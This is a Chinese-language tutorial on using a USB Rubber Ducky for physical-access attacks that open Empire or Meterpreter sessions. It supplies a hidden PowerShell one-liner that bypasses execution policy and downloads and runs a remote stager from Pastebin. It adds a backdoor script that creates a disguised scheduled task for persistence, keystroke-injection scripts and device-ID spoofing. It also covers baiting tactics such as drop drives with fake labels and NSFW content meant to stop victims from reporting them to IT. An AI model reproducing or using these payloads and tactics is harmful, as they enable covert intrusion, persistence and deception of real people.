利用USB橡皮鴨在目標機器上啟動Empire或Meterpreter會話
今天我將教大家如何使用Rubber Ducky在滲透中建立Empire或Meterpreter會話連線。然而對於Ducky而言,想要完成大多數現實場景中的USB攻擊,往往需要花費大量的時間去實踐。本文概述了三種橡皮鴨速度的優化技術,以及最小化使用者對Ducky的異常檢測。
Rubber Ducky攻擊向量
聲東擊西
當用戶分散注意力時,隨手將Ducky插入可訪問的USB介面。
優點:能有效將Payload傳遞至目標系統;並且不易被使用者發現。
缺點:這種方式通常時間較短,因此需要攻擊者及USB的執行速度較快。其次,還需取決於對使用者的欺騙以及USB介面的訪問方便與否。
危險藏匿
在一些辦公場所故意丟棄一個Ducky,例如接待處,停車場和浴室等這些地方通常成功率都相當高。為了不引起懷疑,我們可以將Ducky的標籤更改為一些誘人的內容。除此之外,我們還可以利用聯邦快遞來傳送Ducky,這將是一個很好的藉口。
優點:顯而易見相對於上種方式,你無需親自去冒著被抓住的風險。當人們看到標有“2016度假照片”的USB時,好奇心總能驅使他們窺探。
缺點:使用者在插入USB時會緊盯螢幕,因此容易發現問題。
神不知,鬼不覺
選擇在深夜時間繞過物理安全控制,潛入無人值守的辦公場所。
優點:一旦成功則不易被使用者發現,且有足夠的攻擊時間。
缺點:風險巨大容易被抓住。
以上三種方式最常用的是前兩種。可以看到這兩種方式想要成功都必須有具備兩個前提:速度和信任。下面我將通過優化Empire stager的傳遞執行時間,並儘可能的減少使用者的懷疑。
標準方法
有關建立Empire stagers(傳輸器)的內容,請參閱Stagers 101。
使用Empire的stager/windows/ducky,我們得到以下結果:
完成時間:約38秒
輸入字元:1 (r) + 10 (powershell) + 1 (ENTER) + 2657 (payload) + 1 (ENTER) = 2670 字元
我們遇到的第一個問題是驅動程式問題。大多數機器之前從未執行或載入過Ducky(或者特定的VID/PID),所以你必須假設載入驅動程式,將是我們在物理攻擊中相對耗時和必不可少的一部分。
乍一看,我們似乎可以選擇直接從“執行”框啟動base64編碼命令來節約時間,但這是不可能的因為該框不會接受這麼多的字元。
聲東擊西:在3秒內執行Pastebin
步驟1:BASE64解碼STAGER
或者,你也可以使用Empire的multi/launcher將Base64選項設定為False來重新生成stager。
步驟2:將stager上傳至Pastebin
將Base64解碼的PowerShell複製貼上至Pastebin並且儲存原始路徑。確保使用安全的https連結以避免檢測。
示例請參閱:https://pastebin.com/raw/ani8ic5X
步驟3:建立一個POWERSHELL單線啟動STAGER
powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
我們使用最小選項“-ep bypass”來繞過執行策略,而’-w h’可以幫助我們在使用者介面隱藏PowerShell視窗。
步驟4:時間調整
預設的Empire時間(3000和1000)非常的保守。通過對不同系統的測試,我們可以將它改為以下值:
DELAY 500
GUI r
DELAY 100
步驟5:鎖定USB VID和PID
要想進一步的隱藏Ducky,我們還需要修改USB的供應商ID(VID)和產品ID(PID)。因為我們只是執行鍵盤注入,所以讓我們來欺騙微軟(0x045E)通用的“鍵盤”(0xFFF8)。你可以在這裡下載到Microsoft vidpid.bin檔案,並將其內容另複製儲存為vidpid.bin移放至Ducky根目錄下。
$ cp msft-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步驟6:整合
完成時間:約3秒
輸入字元:1 (r) + 114 (payload)+ 1 (ENTER) = 116 字元
DELAY 500
GUI r
DELAY 100
STRING powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
ENTER
下載pastebin-payload.txt,使用自己的方式交換Pastebin連結。
編譯ducky有效載荷(更多資訊,請參閱Rubber Ducky wiki):
$ java -jar duckencoder.jar -i pastebin-payload.txt -o /media/PATH/TO/DUCKY/inject.bin
危險藏匿:增加可信度
由於第二種方式涉及受害者與Ducky的直接互動,因此攻擊必須具備較高的可信度。這裡我們還將使用相同的Pastebin傳送系統,首先我們要做的是準備好Ducky USB驅動器。
步驟1:將RUBBER DUCKY韌體更新到Twin Duck
擦除並將Ducky韌體更新到Twin Duck韌體(截止本文釋出其版本為c_duck_v2.1.hex)。有關更詳細的韌體更新說明請參閱:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky 。
1.安裝dfu-programmer:
$ sudo apt-get update && sudo apt-get install dfu-programmer
2.刪除Ducky的快閃記憶體卡,並按下按鈕將Ducky插入主機。
3.擦除當前韌體:
$ sudo dfu-programmer at32uc3b1256 erase
4.將韌體更新為Twin Duck:
$ sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex
5. 重置Ducky使它再次工作:
$ sudo dfu-programmer at32uc3b1256 reset
步驟2:鎖定USB VID和PID
這裡我們來模擬最常見的USB快閃記憶體驅動器晶片組:Alcor Micro Corp的(0x058F)通用“Flash Drive”(0x6387)。你可以下載一個定製的Alcor Micro vidpid.bin檔案,並將其複製到Ducky。
$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步驟3:為你的驅動器編造一個故事
例如只是一個目標公司CFO的驅動器,或是一個剛入公司的實習生的,這都將足以引起人們的好奇和窺探。同時,一個好的故事也將對下一步的成敗起關鍵作用。
步驟4:新增驅動標籤
在Linux中向FAT16驅動器新增標籤的最簡單方法是使用GParted。
- 通過讀卡器載入MicroSD卡。
- 啟動GParted並切換到USB驅動器(通常是/dev/sdb)
- 解除安裝驅動器(分割槽->解除安裝)
- 右鍵單擊並轉到“標籤檔案系統”,然後選擇一個符合驅動器故事的標籤
- 點選“應用”
步驟5:進一步的偽裝
為了避免一些不必要的情況發生,例如使用者將USB移交至IT部門,或拔掉網線電源導致大面積的故障出現,我們需要打造一個具有更好“使用者體驗”的驅動器。
- 在驅動器中新增虛擬內容(如圖片,文件等),增加其可信度。(備註:新增NSFW的內容,使得受害者不太可能將驅動器移交給IT部門)
- 將’inject.bin’和’vidpid.bin’隱藏在Windows系統上。你可以使用 wine attrib + h 檔名 完成此操作,但我發現將SD卡載入到Windows機器上手動隱藏檔案更加可靠。
步驟6:使用之前的PASTEBIN方法設定注入
Air Gapped系統和離線膝上型電腦:從儲存執行
在這個例子中我們將建立一個有效負載,以在遇到那些未連線到網際網路的計算機時也能建立一個永續性的會話。當然,這個有效載荷只是一個PoC。由於許多步驟與上述步驟相同,以下我只會說明每個步驟的不同之處。
步驟1:將RUBBER DUCKY韌體更新到Twin Duck
步驟2:新增驅動標籤
步驟3:BASE64解碼EMPIRE STAGER並將其上傳到PASTEBIN
步驟4:在POWERSHELL中建立排程任務
backdoor.ps1:
$PScommand = 'powershell -ep bypass -w h -enc '
$IEXPayload = "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($IEXPayload)
$encCommand = [Convert]::ToBase64String($bytes)
$null = schtasks /Create /SC MINUTE /TN Updater /TR "$PScommand $encCommand"
注意:在本例中,指令碼被設定為每隔60秒就檢查一次網際網路的訪問,但在實際環境中,建議最好每隔幾個小時甚至一天進行一次檢查。
步驟5:將BACKDOOR.PS1新增到橡皮鴨
為了儘可能的減少Ducky需要輸入的字元數量,我們將其重新命名為“b.ps1”。
$ cp backdoor.ps1 /media/PATH/TO/DUCKY/b.ps1
步驟6:建立一個POWERSHELL單線啟動BACKDOOR
我們需要找到 DUCKY SD的掛載字母,程式首先會尋找標有“DUCKY”的驅動器,然後提取該驅動器的字母,並將PowerShell檔案追加到字串並執行該指令碼。
Windows 7-10(gwmi方法) - 104個字元
powershell -ep bypass -w h -c ".(((gwmi Win32_Volume | ? {$_.Label -eq 'DUCKY'}).DriveLetter)+'b.ps1')"
Windows 8-10(Get-Volume方法) - 94個字元
powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':b.ps1')"
步驟7:設定時間
DELAY 2800
GUI r
DELAY 150
步驟8:鎖定USB VID和PID
讓我們再次來模擬Alcor Micro Corp的(0x058F)通用“Flash Drive”(0x6387)。你可以在這裡下載。
$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin
步驟9:整合(GET-VOLUME方法)
完成時間:約9秒
輸入字元: 1 (r) + 94 (payload)+ 1 (ENTER) = 96 字元
DELAY 2800
GUI r
DELAY 150
STRING powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':b.ps1')"
ENTER
點選文末的閱讀原文下載Get-Volume有效載荷,以及gwmi版本。
總結
在此前我們使用預設的Empire Ducky指令碼,而它有足足2,670個字元,並且執行所花費時間也達到了38秒之久。在進行了相應的優化後,我們使用基於web的Empire stager,將執行時間縮短到了3秒,並且輸入字元也減少到了116個。這意味只要3秒鐘攻擊者就可以成功滲透目標,並且難以被發現。我們還學習到如何建立一個具有較高可信度和使用者體驗的USB驅動器。這些人為因素的新增,大大降低了檢測和事件報告率。最後,我們檢查了從Ducky的內部磁碟執行指令碼的PoC,即使計算機未連線到網際網路時也能建立一個永續性的會話。以上討論的所有技術都是無檔案式攻擊,因此對於繞過AV也有一定的效果。為了增加攻擊的更加隱蔽性,在這裡我建議大家儘可能的使用自己的基礎設施/託管而不是Pastebin,因為許多這類比較知名的網站,在企業網路環境中極易被阻斷和隔離。